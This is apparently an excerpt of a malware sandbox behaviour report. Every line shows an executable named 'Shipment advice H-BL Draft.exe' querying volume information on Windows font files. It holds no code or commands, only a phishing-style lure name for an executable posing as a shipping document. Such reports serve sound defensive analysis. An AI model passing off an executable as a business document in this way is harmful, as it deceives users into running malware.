Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
